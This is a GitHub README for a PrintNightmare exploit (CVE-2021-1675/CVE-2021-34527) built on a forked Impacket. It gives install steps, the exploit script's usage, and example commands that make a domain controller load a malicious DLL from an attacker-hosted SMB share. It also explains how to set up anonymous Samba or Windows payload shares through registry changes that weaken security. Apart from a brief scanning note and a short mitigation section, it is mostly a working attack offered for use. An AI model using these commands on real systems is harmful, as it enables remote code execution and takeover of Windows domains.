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C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
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README.md |
CVE-2021-1675 / CVE-2021-34527
Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)
Tested on a fully patched 2019 Domain Controller
Execute malicious DLL's remote or locally
Installation
Before running the exploit you need to install my version of Impacket and after that you're gucci
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
CVE-2021-1675.py
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
SMB configuration
Easiest way to host payloads is to use samba and modify /etc/samba/smb.conf
to allow anonymous access
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
From windows it's also possible
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
Scanning
We can use rpcdump.py
from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable
rpcdump.py @192.168.1.10 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
Mitigation
Disable Spooler service
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
Or Uninstall Print-Services
Uninstall-WindowsFeature Print-Services